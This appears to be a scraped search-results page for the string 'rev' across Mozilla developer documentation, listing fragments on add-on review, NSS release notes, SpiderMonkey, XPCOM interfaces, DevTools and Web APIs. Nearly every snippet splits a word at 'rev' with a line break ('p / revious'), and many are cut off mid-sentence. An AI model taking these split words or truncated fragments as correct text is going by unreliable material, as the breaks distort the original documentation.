revox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility community with questions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web.
...this article
reviews the progress and technology as it has developed.zoomtextwe've made a lot of progress with mozilla/zoomtext compatibility.
Index
676 index add-ons, glossary, guide, index found 689 pages: 677 signing and distributing your add-on add-ons, extensions, webextensions, distribution, publication,
reviews, signing add-ons need to be signed before they can be installed into release and beta versions of firefox.
... 683 source code submission add-ons, extensions,
review policy, distribution to complete the
review process at addons.mozilla.org (amo),
reviewers must be able to read the code in your extension.
... 688 third party library usage add-ons, extensions,
review policy to complete the
review process at addons.mozilla.org (amo),
reviewers must be able to verify the code in your extension.
Frequently Asked Questions for Lightweight themes
you can easily p
review a design and install it without needing to restart.
...p
review any theme by clicking "tap to p
review"; the design appears in your browser header so you can "try it on." when you're ready, just click the blue install theme button.
...please
review the terms of service and conditions of use for authoritative and complete language.
What to do and what not to do in Bugzilla
this isn't mandatory, but can help p
revent accidental filing of duplicates of a bug that's already been fixed.
...basically, anything that p
revents builds from building, running, or being used for dogfood (able to use bugzilla, tinderbox, lxr, etc.) is a blocker.
...continued abuse will result in
revocation of your bugzilla privileges.
Continuous Integration
when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., p
reventing any additional commits).
... clobber builds mean the directory hierarchy, including the local source and object directory are deleted if it exists from a p
revious build.
...performance sheriffs
review the list of alerts on a regular basis and file bugs if appropriate.
Commenting IDL for better documentation
keep in mind that people for whom english is not their native language will be reading your comments (as well as the generated documentation), so try to avoid slang and abb
reviations when possible.
...nested lists should be indented from the p
revious level by two spaces.
...nested lists should be indented from the p
revious level by two spaces.
Performance
the following examples omit some boilerplate code for the sake of b
revity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics.
... see the p
revious chapter on how to efficiently replicate addon state to each process.
... clean up on addon unload bad: all the p
revious examples, *even the "better" ones* if your addon is restartless or uses the sdk then updates or the user turning it off and on will load to unload/reload events.
Browser API
htmliframeelement.goback() changes the location of the <iframe> for the p
revious location in its browsing history.
... htmliframeelement.findnext() highlights the next or p
revious instance of a search result after a findall() search has been carried out.
... htmliframeelement.removenextpaintlistener() removes a handler p
reviously set with addnextpaintlistener().
Index
17 localization sign-off
reviews guide, localization, mozilla this article presents an overview of why we do sign-off
reviews of localizations, the details on the criteria used for the sign-off
reviews, and the process for requesting a
review and for following its progress.
... 18 localization technical
reviews guide, localization, mozilla this guide provides details on what a localization technical
review is, what criteria are used for the technical
reviews, and the process for requesting one and following its progress.
...this data describes the extension, and doesn't necessarily change with each
revision (but it can).
Localizing with Mozilla Translator
like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from p
revious translations, thus cutting time and effort when localizing new versions of mozilla applications.
...most of the strings will be automatically filled, although if you do this you should
review them, because for en-us strings with several possible translations, mt will choose one of them, which could not be the one you want.
...to migrate the existing translation in the old product, you need to export partial glossaries from the old product, selecting the ''link'' origin (see the p
revious section) and importing them into the ''link'' target.
Initial setup
hg (mercurial) mercurial is the
revision control environment that houses the main mozilla source code as well as localized code for each official mozilla localization.
... svn svn is a
revision control environment that mozilla uses to house mozilla source websites and their localizations for each official mozilla localization.
... « p
reviousnext » ...
Setting up the infrastructure
this way the localizers will be able to p
review their changes almost in real-time.
...
review the english content following the web content localizability guidelines.
...
review your code following the web applications localizability guidelines.
A guide to searching crash reports
much smaller than the p
revious search.
... grouping in the p
revious section we saw one example of grouping, in the "signature facet" tab that is shown by default.
... facets in the search form to do a search with non-signature grouping first click on the "more options..." text, which
reveals the additional fields shown in the following screenshot.
PRIOMethods
available64 same as p
revious field, except 64-bit.
... seek64 same as p
revious field, except 64-bit.
... fileinfo64 same as p
revious field, except 64-bit.
FIPS Mode - an explanation
(note, the current version of fips 140 is
revision 2, a.k.a.
... mozilla's nss cryptographic software has been tested by government-approved independent testing labs and certified by nist as being fips 140 compliant when operated in fips mode on 4 p
revious occasions.
... the user is not required to enter the master password to visit ordinary https servers, nor to view certificates he has p
reviously stored.
NSS 3.14.1 release notes
new functions in ocspt.h cert_createocspsingleresponsegood cert_createocspsingleresponseunknown cert_createocspsingleresponse
revoked cert_createencodedocspsuccessresponse cert_createencodedocsperrorresponse new types in ocspt.h certocspresponderidtype notable changes in nss 3.14.1 windows ce support has been removed from the code base.
... bug 802429 - in p
revious versions of nss, the "cipherorder" slot configuration flag was not respected, causing the most recently added slot that supported the requested pkcs#11 mechanism to be used instead.
...in p
revious versions of nss, these algorithms would be handled by the most recently added pkcs#11 token that supported them.
NSS 3.35 release notes
notable changes in nss 3.35 p
reviously, nss used the dbm file format by default.
... nss 3.30 had introduced a regression, p
reventing nss from reading some aes encrypted data, produced by older versions of nss.
...this is not expected to cause problems; code compiled against p
revious versions of tls will now refer to an unsupported codepoint, if this value was used.
NSS 3.48 release notes
because using an iteration count higher than 1 with the legacy dbm (key3.db) storage creates files that are incompatible with p
revious versions of nss, applications that wish to enable it for key3.db are required to set environment variable nss_allow_legacy_dbm_iteration_count=1.
... bugs fixed in nss 3.48 bug 1600775 - require nspr 4.24 for nss 3.48 bug 1593401 - fix race condition in self-encrypt functions bug 1599545 - fix assertion and add test for early key update bug 1597799 - fix a crash in nssckfwobject_getattributesize bug 1591178 - add entrust root certification authority - g4 certificate to nss bug 1590001 - p
revent negotiation of versions lower than 1.3 after helloretryrequest bug 1596450 - added a simplified and unified mac implementation for hmac and cmac behind pkcs#11 bug 1522203 - remove an old pentium pro performance workaround bug 1592557 - fix prng known-answer-test scripts bug 1586176 - encryptupdate should use maxout not block size (cve-2019-11745) bug 1593141 - add `notbefore` or similar ...
..."beginning-of-validity-period" parameter to mozilla::pkix::trustdomain::check
revocation bug 1591363 - fix a pbkdf2 memory leak in nsc_generatekey if key length > max_key_len (256) bug 1592869 - use arm neon for ctr_xor bug 1566131 - ensure sha-1 fallback disabled in tls 1.2 bug 1577803 - mark pkcs#11 token as friendly if it implements ckp_public_certificates_token bug 1566126 - power ghash vector acceleration bug 1589073 - use of new pr_assert_arg in certdb.c bug 1590495 - fix a crash in pk11_makecertfromhandle bug 1591742 - ensure des iv length is valid before usage from pkcs#11 bug 1588567 - enable mozilla::pkix gtests in nss ci bug 1591315 - update nsc_decrypt length in constant time bug 1562671 - increase nss mp kdf default iteration count, by default for modern key4 storage, o...
nss tech note7
to p
revent denial-of-service attacks with huge public keys, nss disallows modulus size greater than 8192 bits.
...here is the asn.1 type definition: rsapublickey ::= sequence { modulus integer, -- n publicexponent integer -- e } the following sample code (error handling omitted for b
revity) encodes a rsapublickey from a modulus and a public exponent and imports the public key into nss.
... perhaps this change made in pkcs #1 v2.0 confused many people, so it was
reversed in v2.1.
Notes on TLS - SSL 3.0 Intolerant Servers
servers currently known to exhibit this intolerant behavior as of this writing, this problem has been reported for the following servers: (whe
rever there is an upgraded version which fixes the problem, it is indicated by an asterisked remark in the parentheses.
... netscape 6.1 p
review release 1, or mozilla 0.9.1 and earlier these versions shipped with the tls option turned on as the default but with no way to deal with the problem servers.
... post a note on your site instructing users of old versions of browsers like netscape 6.0/6.01/6.1 p
review release 1 and mozilla 0.9.1 and earlier to turn off the tls option at: edit | preferences | privacy and security | ssl | enable tls.
pkfnc.html
to retrieve its current value, use ssl_
revealpinarg.
...to retrieve its current value, use ssl_
revealpinarg.
...this implies that the callback has p
reviously returned the wrong password.
NSS Tools certutil
if you create a new key pair for such a card, the p
revious pair is overwritten.
...be sure to p
revent unauthorized access to this file.
...this extension identifies the url of a certificate's associated certificate
revocation list (crl).
Creating JavaScript tests
testing your test run your new test locally before checking it in (or posting it for
review).
... checking in completed tests tests are usually
reviewed and pushed just like any other code change.
... it is ok under certain circumstances to push new tests to certain repositories without a code
review.
Bytecode Descriptions
it must not have been p
reviously suspended.
...this is checked by the jsop::checkglobalo
revaldecl bytecode instruction that must appear before jsop::def{var,let,const,fun}.) throw a syntaxerror if the current variableenvironment is the global environment and a binding with the same name exists on the global lexical environment.
...format: jof_atom checkglobalo
revaldecl check for conflicting bindings before jsop::def{var,let,const,fun} in global or sloppy eval scripts.
JS::CompileOptions
ntattributename(jsstring *p) owningcompileoptions &setintroductionscript(jsscript *s) owningcompileoptions &setmutederrors(bool mute) owningcompileoptions &setversion(jsversion v) owningcompileoptions &setutf8(bool u) owningcompileoptions &setcolumn(unsigned c) owningcompileoptions &setcompileandgo(bool cng) owningcompileoptions &setfo
reval(bool eval) owningcompileoptions &setnoscriptrval(bool nsr) owningcompileoptions &setselfhostingmode(bool shm) owningcompileoptions &setcanlazilyparse(bool clp) owningcompileoptions &setsourceislazy(bool l) owningcompileoptions &setintroductiontype(const char *t) bool setintroductioninfo(jscontext *cx, const char *introducerfn, const char *in...
...ject *e) compileoptions &setelementattributename(jsstring *p) compileoptions &setintroductionscript(jsscript *s) compileoptions &setmutederrors(bool mute) compileoptions &setversion(jsversion v) compileoptions &setutf8(bool u) compileoptions &setcolumn(unsigned c) compileoptions &setcompileandgo(bool cng) compileoptions &setfo
reval(bool eval) compileoptions &setnoscriptrval(bool nsr) compileoptions &setselfhostingmode(bool shm) compileoptions &setcanlazilyparse(bool clp) compileoptions &setsourceislazy(bool l) compileoptions &setintroductiontype(const char *t) compileoptions &setintroductioninfo(const char *introducerfn, const char *intro, unsigned line, jsscript *scri...
... fo
reval bool true if the code is for eval().
JS_SetGCCallback
obsolete since jsapi 13 js_setgccallback returns a pointer to the p
reviously used callback function upon completion.
...the callback may p
revent gc from starting by returning false.
... in a js_threadsafe build, a jsgc_begin callback can happen on one thread before or while a jsgc_end callback for the p
revious gc cycle runs on another thread.
JS_SetOptions
enables and disables options on a jscontext, replacing all p
reviously set options.
...this function returns a uint32 value containing the p
revious values of the flags.
... mxr id search for jsoption_native_branch_callback jsoption_dont_report_uncaught when returning from the outermost api call, p
revent uncaught exceptions from being converted to error reports.
SpiderMonkey 1.8
migrating to spidermonkey 1.8 spidermonkey 1.8 is not binary-compatible with p
revious releases.
... in certain cases, the javascript engine no longer calls jsclass.resolve callbacks repeatedly, as it did in p
revious versions.
...this makes gc-related problems easier to reproduce,
reveals gc problems that you may not have noticed before, and causes gc-safety bugs to surface much closer to their cause.
SpiderMonkey 24
it continues to improve performance over p
revious spidermonkey releases, with a significantly improved garbage collector, a new jit compilation mode, and other features.
... on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions.
... jaegermonkey has been removed and replaced by ionmonkey spidermonkey 24 is not binary-compatible with p
revious releases, nor is it source-code compatible.
SpiderMonkey 31
it continues to improve performance over p
revious spidermonkey releases, with a significantly improved garbage collector and other features.
... on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions.
... xxx list removed features here spidermonkey 31 is not binary-compatible with p
revious releases, nor is it source-code compatible.
History Service Design
the user can query his visits based on a date range, meta contents or
revisit behavior.
...if a page can be added we first check if it exists already, then it is added or updated accordingly to the p
revious check, and common attributes are set based on concurrent visit properties.
...thanks to the underlying database, history size has increased far more than 10 times from the p
revious mork based implementation, thus the need for a simple and efficient way to extract slices of data.
Avoiding leaks in JavaScript XPCOM components
programmers writing and
reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
...the situation with javascript properties on dom nodes may also improve—see bug 283129—but it requires substantial changes.) things not to do everybody writing,
reviewing, or checking in javascript code to mozilla cvs should understand why these things are bad.
...but the tree walker owns a reference to the wrapper for that function, so the wrapper maintains a garbage collection root to keep the function from being destroyed, so we have a cycle that p
revents both objects from being freed.
An Overview of XPCOM
« p
reviousnext » this is a book about xpcom.
... xpcom identifiers in addition to the iid interface identifier discussed in the p
revious section, xpcom uses two other very important identifiers to distinguish classes and components.
... « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger.
Using XPCOM Components
« p
reviousnext » one of the best ways to begin working with xpcom - especially when you are designing the interface to a component that will be used by others, as we do in starting weblock - is to look at how clients are already using xpcom components.
...in fact, a search of the mozilla source code
reveals that this cookiemanager component is called only from javascript.
... « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger.
Observer Notifications
em-action-requested item-cancel-action a p
revious action has been cancelled.
... topic data description lightweight-theme-p
review-requested json sent when the user requests to p
review a lightweight theme, but before existing windows are styled with the new theme.
... lightweight-theme-styling-update json sent when the current theme being used is changed; this is sent even when the user is p
reviewing a theme, not just when the theme is actually selected.
imgIEncoder
"0" will repeat fo
rever.
...dispose=[none|background|p
revious] -- default: "none" what to do with the image's canvas before rendering the next frame.
... quality >= 90 p
revents down-sampling of the color channels.
nsIAutoCompleteSearch
method overview void startsearch(in astring searchstring, in astring searchparam, in nsiautocompleteresult p
reviousresult, in nsiautocompleteobserver listener); void stopsearch(); methods startsearch() search for a given string and notify a listener (either synchronously or asynchronously) of the result.
... void startsearch( in astring searchstring, in astring searchparam, in nsiautocompleteresult p
reviousresult, in nsiautocompleteobserver listener ); parameters searchstring the string to search for.
...p
reviousresult the p
revious nsiautocompleteresult to use for faster searching.
nsIComponentRegistrar
if afactory is null, the contract will be associated with a p
reviously registered classid.
...void unregisterfactorylocation( in nscidref aclass, in nsifile afile ); parameters aclass the classid that was p
reviously registered.
... afile the component file that was p
reviously registered.
nsIContentViewer
p
reviousviewer nsicontentviewer the p
revious content viewer, which has been closed but not destroyed.
...if it is non-null, the document will not be destroyed, and the following actions will happen when destroy() is called: sanitize() will be called on the viewer's document the content viewer will set the contentviewer property on the history entry, and release its reference (ownership
reversal).
... pagehide() void pagehide( in boolean isunload ); parameters isunload missing description exceptions thrown missing exception missing description permitunload() determins whether or not the document wants to p
revent unloading by firing beforeunload on the document, and if it does, prompts the user.
nsIDOMSimpleGestureEvent
consumers should use event.p
reventdefault() to p
revent default behavior when consuming events.
...for update events, this indicates the movement since the p
revious update; for the mozrotategesture and mozmagnifygesture events, this indicates the total movement that occurred while the event was being processed.
...on windows, the units indicate the difference between the p
revious and current width between the two touch points, in pixels.
nsIFileView
to create an instance, use: var fileview = components.classes["@mozilla.org/filepicker/fileview;1"] .createinstance(components.interfaces.nsifileview); method overview void setdirectory(in nsifile directory); void setfilter(in astring filterstring); void sort(in short sorttype, in boolean
reversesort); attributes attribute type description
reversesort boolean if true results will be sorted in ascending order.
...void sort( in short sorttype, in boolean
reversesort ); parameters sorttype one of the sort* constants.
...
reversesort true, results will be sorted in ascending order.
nsIFrameLoader
method overview void activateframeevent(in astring atype, in boolean capture); void activateremoteframe(); void destroy(); void loadframe(); void loaduri(in nsiuri auri); void sendcrossprocesskeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean ap
reventdefault); void sendcrossprocessmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); void updatepositionandsize(in nsiframe aiframe); native code only!
... void sendcrossprocesskeyevent( in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean ap
reventdefault ); parameters atype the event type.
... ap
reventdefault whether or not to p
revent default actions from being performed.
nsIJetpack
unregisterreceiver() this unregisters a callback p
reviously registered with registerreceiver() void unregisterreceiver( in astring amessagename, in jsval areceiver ); parameters amessagename the name of the message on which the callback should no longer be triggered.
... unregisterreceivers() this unregisters all callbacks p
reviously registered with registerreceiver() for a particular message.
...warning: bug 589308 p
revents this message from being sent in some situations.
nsILocalFile
void
reveal(); void setrelativedescriptor(in nsilocalfile fromfile, in acstring relativedesc); attributes attribute type description diskspaceavailable print64 the number of bytes available to non-superuser on the disk volume containing the nsilocalfile.
... } if (n < 0) rv = ns_error_unexpected; pr_close(fd); return rv; }
reveal() ask the operating system to open the folder which contains this file or folder.
... void
reveal(); parameters none.
nsISHistoryListener
the listener can p
revent any action (except adding a new session history entry) from happening by returning false from the corresponding callback method.
...ew boolean onhistorygoback(in nsiuri abackuri); boolean onhistorygoforward(in nsiuri aforwarduri); boolean onhistorygotoindex(in long aindex, in nsiuri agotouri); void onhistorynewentry(in nsiuri anewuri); boolean onhistorypurge(in long anumentries); boolean onhistoryreload(in nsiuri areloaduri, in unsigned long areloadflags); methods onhistorygoback() called when navigating to a p
revious session history entry, for example due to an nsiwebnavigation.goback() call.
...entries can be removed from session history for various reasons; for example to control the browser's memory usage, to p
revent users from loading documents from history, to erase evidence of prior page loads, etc.
nsIScriptError
you may pass null if you are lazy; that will p
revent showing the source line in javascript console.
...you may pass null if you are lazy; that will p
revent showing the source line in javascript console.
...you may pass null if you are lazy; that will p
revent showing the source line in javascript console.
nsISessionStartup
constants session type constants constant value description no_session 0 there's no data available from the p
revious session.
... resume_session 2 the p
revious session should be restored at startup.
... defer_session 3 the p
revious session is viable but shouldn't be restored without explicit action (with the exception of app tabs, which are always restored in this case).
nsISmsDatabaseService
, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozsmsfilter filter, in boolean
reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long requestid, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessageread(in long messageid, in boolean value, in long requestid, [optional] in unsigned long long processid) methods savereceivedmessage() void savereceivedmessage...
... createmessagelist() void createmessagelist( in nsidommozsmsfilter filter, in boolean
reverse, in long requestid, [optional] in unsigned long long processid ); parameters filter a smsfilter to filter out sms messages from a list.
...
reverse a boolean indicating whether to
reverse the ordering.
nsIWebBrowserChromeFocus
inherits from: nsisupports last changed in gecko 1.7 method overview void focusnextelement(); void focusp
revelement(); methods focusnextelement() set the focus at the next focusable element in the chrome.
...focusp
revelement() set the focus at the p
revious focusable element in the chrome.
... void focusp
revelement(); parameters none.
nsIWebNavigation
it provides methods and attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has p
reviously gone.
... load_flags_charset_change 1024 this flag specifies that a reload was triggered as a result of detecting an incorrect character encoding while parsing a p
reviously loaded document.
... methods goback() tells the object to navigate to the p
revious session history item.
nsIXFormsModelElement
1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void refresh(); void
revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned.
...
revalidate() signals the xforms processor to perform a full
revalidation of the given xforms model.
... void
revalidate(); parameters none.
nsMsgNavigationType
p
reviousmessage 3 go to the p
revious message in the view.
... p
reviousunreadmessage 8 go to the p
revious unread message in the view.
... nextunreadthread 10 nextunreadfolder 11 nextfolder 12 readmore 13 back 15 go back to the p
revious visited message forward 16 go forward to the p
revious visited message firstflagged 17 nextflagged 18 p
reviousflagged 19 firstnew 20 editundo 21 editredo 22 togglesubthreadkilled 23 ...
Storage
by binding the parameters, you p
revent possible sql injection attacks since a bound parameter can never be executed as sql.
... warning: if you fail to reset a write statement, it will continue to hold a lock on the database p
reventing future writes or reads.
... additionally, if you fail to reset a read statement, it will p
revent any future writes to the database.
XUL Overlays
for instance, you can use the name of your extension, or an abb
reviation of it.
...using the id attribute on an otherwise empty node in the base file, you can essentially reference a subtree defined in an overlay file and merge it in whe
rever it's needed.
...toolbars, submenus, boxes, and any other subtrees that appear in multiple places can be defined in overlays files in this way and referenced for reuse whe
rever necessary.
nsIMsgCloudFileProvider
acstring urlforfile(in nsilocalfile afile); parameters afile the p
reviously uploaded file to get the url for.
... deletefile() attempts to delete a file that had p
reviously been uploaded using this instance.
... void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was p
reviously uploaded using this nsimsgcloudfileprovider instance that should be deleted.
Working with windows in chrome code
you can find the window's opener using its window.opener property or via a callback function passed to the window in a way described in the p
revious section.
... let's add code to the p
revious example to notify the opener when the user presses cancel on the progress dialog.
...alternatively, the opener window can pass a callback function to the progress dialog in the same way we passed the status string in the p
revious example: function oncancel() { alert("operation canceled!"); } ...
Add to iPhoto
we'll be using a number of these methods, but for b
revity's sake, since these are generally simple declarations, let's look at only the cfrelease() and cfretain() declarations.
...we actually aren't using any carbon methods, but we are using one carbon data type, the p
reviously mentioned fsref structure.
... a cfindex indicating the size of the array specified by the p
revious parameter.
Memory - Plugins
« p
reviousnext » this chapter describes the plug-in api functions that allocate and free memory as needed by the plug-in.
... void npn_memfree (void *ptr); the ptr parameter represents a block of memory p
reviously allocated using npn_memalloc.
... « p
reviousnext » ...
Scripting plugins - Plugins
« p
reviousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release).
...future
revisions to this api might provide a mechanism for proxying calls from one thread to another to aid in using this api from other threads.
... npn_utf8fromidentifier npn_intfromidentifier npobject npn_construct (since firefox 3.0b1) npn_createobject npn_retainobject npn_releaseobject npn_invoke npn_invokedefault npn_enumerate (since mozilla 1.9a1) npn_evaluate npn_getproperty npn_setproperty npn_removeproperty npn_hasproperty npn_hasmethod npn_setexception npclass « p
reviousnext » ...
Network request details - Firefox Developer Tools
the results through a json validator): { "response headers (1.113 kb)": { "headers": [ { "name": "accept-ranges", "value": "bytes" }, { "name": "age", "value": "0" }, { "name": "backend-timing", "value": "d=74716 t=1560258099074460" }, { "name": "cache-control", "value": "private, must-
revalidate, max-age=0" }, { "name": "content-disposition", "value": "inline; filename=api-result.js" }, { "name": "content-encoding", "value": "gzip" }, { "name": "content-length", "value": "673" }, { "name": "content-type", "value": "text/javascript; charset=utf-8" }, { ...
...if the response is html, js, or css, it will be shown as text: if the response is json, it will be shown as an inspectable object: if the response is an image, the tab displays a p
review: for network responses that are initiated by a websocket connection, the details pane shows any associated messages.
... html p
review if the response is html, a p
review of the rendered html appears inside the response tab, above the response payload.
Page inspector keyboard shortcuts - Firefox Developer Tools
command windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to p
revious node up arrow up arrow up arrow move to first node in the tree.
...+ f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +enter f2 / cmd + return f2 / ctrl + enter copy the selected node's outer html ctrl + c cmd + c ctrl + c scroll the selected node into view s s s find the next match in the markup, when searching is active enter return enter find the p
revious match in the markup, when searching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused.
... command windows macos linux move to the p
revious element in the breadcrumbs bar left arrow left arrow left arrow move to the next element in the breadcrumbs bar right arrow right arrow right arrow focus the html pane shift + tab shift + tab shift + tab focus the css pane tab tab tab css pane these shortcuts work when you're in the inspector's css pane.
Console messages - Firefox Developer Tools
when it calls window.getcomputedstyle(thing).height: var thing = document.getelementbyid("the-thing"); thing.style.display = "inline-block"; var thingheight = window.getcomputedstyle(thing).height; because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the dom, because every time you read back a style that has been invalidated by a p
revious write call, you force a synchronous reflow.
... for responses that contain objects or variables, the following context menu options are available:
reveal in inspector shows the selected dom node in the inspector pane.
...this p
revents errors that have already been loged from reappearing when you reopen the console.
The JavaScript input interpreter - Firefox Developer Tools
you can initiate a
reverse search through the expression history, much like you can in bash on linux and mac or powershell on windows.
...on mac press ctrl+r (note: not cmd+r!) to initiate the
reverse search.
... once you have initiated the
reverse search, you can use shift + f9 on windows or linux ( ctrl+s on mac) to search forward in the list of matches.
about:debugging - Firefox Developer Tools
above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via usb, to firefox p
review, on a pixel 2, as well as the title of the page that you are debugging, and the address of the page.
...until such time as firefox for android is updated to a newer major release, in synch with desktop firefox, you should use one of the following firefox for android versions: firefox p
review, if your desktop firefox is the main release or developer edition firefox for android nightly if you prefer to test with the main release of firefox for android (i.e., based on release 68), you can do so with the desktop firefox extended support release (esr), which is also based on version 68.
...for more information, see what happens to my profile if i downgrade to a p
revious version of firefox?
Animation - Web APIs
animation.finish() seeks either end of an animation, depending on whether the animation is playing or
reversing.
... animation.play() starts or resumes playing of an animation, or begins the animation again if it p
reviously finished.
... animation.
reverse()
reverses playback direction, stopping at the start of the animation.
Managing screen orientation - Web APIs
adjusting layout based on the orientation one of the most common cases for orientation changes is when you want to
revise the layout of your content based on the orientation of the device.
... the screen orientation api is made to p
revent or handle such a change.
... screen.addeventlistener("orientationchange", function () { console.log("the orientation of the screen is: " + screen.orientation); }); p
reventing orientation change any web application can lock the screen to suits its own needs.
CanvasRenderingContext2D - Web APIs
canvasrenderingcontext2d.clearrect() sets all pixels in the rectangle defined by starting point (x, y) and size (width, height) to transparent black, erasing any p
reviously drawn content.
... canvasrenderingcontext2d.arcto() adds an arc to the current path with the given control points and radius, connected to the p
revious point by a straight line.
...the following methods help you to work with that state: canvasrenderingcontext2d.save() saves the current drawing style state using a stack so you can
revert any change you make to it using restore().
Basic animations - Web APIs
« p
reviousnext » since we're using javascript to control <canvas> elements, it's also very easy to make (interactive) animations.
... basic animation steps these are the steps you need to take to draw a frame: clear the canvas unless the shapes you'll be drawing fill the complete canvas (for instance a backdrop image), you need to clear any shapes that have been drawn p
reviously.
... « p
reviousnext » ...
Constraint validation API - Web APIs
even though client-side validation can p
revent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application.
...if you don't do this, and a custom validity was p
reviously set, the input will register as invalid, even if it current contains a valid value on submission.
... recommendation no change from the p
revious snapshot html5.
DataTransferItem.webkitGetAsEntry() - Web APIs
first, we p
revent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.p
reventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event...
....p
reventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items.
... then we call event.p
reventdefault() to p
revent the event from being handled further after we're done.
Document.createElement() - Web APIs
options optional an optional elementcreationoptions object, containing a single property named is, whose value is the tag name of a custom element p
reviously defined via customelements.define().
... // create a class for the element class expandinglist extends htmlulistelement { constructor() { // always call super first in constructor super(); // constructor definition left out for b
revity ...
... note: for backwards compatibility with p
revious versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name.
Document: pointercancel event - Web APIs
bubbles yes cancelable no interface pointe
revent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities.
...this can happen if, for example, the hardware supports palm rejection to p
revent a hand resting on the display while using a stylus from accidentally triggering events.
... the touch-action css property p
revents the input from continuing.
EffectTiming.direction - Web APIs
syntax var timingproperties = { direction: "normal" | "
reverse" | "alternate" | "alternate-
reverse" }; timingproperties.direction = "normal" | "
reverse" | "alternate" | "alternate-
reverse"; value a domstring which specifies the direction in which the animation should play as well as what to do when the playback reaches the end of the animation sequence in the current direction.
... "
reverse" the animation runs backwards, or "rewinds." "alternate" the animation switches direction after each iteration, going forward through the animation sequence the first iteration, then backward through the sequence the second iteration, and so forth.
... "alternate-
reverse" similar to "alternate", except the animation playback starts by going from the end of the animation sequence toward the beginning the first iteration, then goes forward during the second, and so forth.
Element: contextmenu event - Web APIs
any right-click event that is not disabled (by calling the event's p
reventdefault() method) will result in a contextmenu event being fired at the targeted element.
... bubbles yes cancelable yes interface mouseevent event handler property oncontextmenu examples in this example, the default action of the contextmenu event is canceled using p
reventdefault() when the contextmenu event is fired at the first paragraph.
... html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.p
reventdefault(); }); result specifications specification status comment html living standardthe definition of 'contextmenu' in that specification.
Element: cut event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.p
reventdefault().
... note though that cancelling the default action will also p
revent the document from being updated.
... border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.p
reventdefault(); }); result specifications specification status clipboard api and events working draft ...
Event.stopPropagation() - Web APIs
the stoppropagation() method of the event interface p
revents further propagation of the current event in the capturing and bubbling phases.
... it does not, however, p
revent any default behaviors from occurring; for instance, clicks on links are still processed.
... if you want to stop those behaviors, see the p
reventdefault() method.
FetchEvent.respondWith() - Web APIs
the respondwith() method of fetchevent p
revents the browser's default fetch handling, and allows you to provide a promise for a response yourself.
... this p
revents the leaking of private data.
... addeventlistener('fetch', event => { // p
revent the default, and handle the request ourselves.
FetchEvent - Web APIs
fetchevent.resultingclientid read only the id of the client that replaces the p
revious client during a page navigation.
... fetchevent.respondwith() p
revent the browser's default fetch handling, and provide (a promise for) a response yourself.
... if (event.request.method != 'get') return; // p
revent the default, and handle the request ourselves.
FileSystemDirectoryReader.readEntries() - Web APIs
first, we p
revent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.p
reventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event...
....p
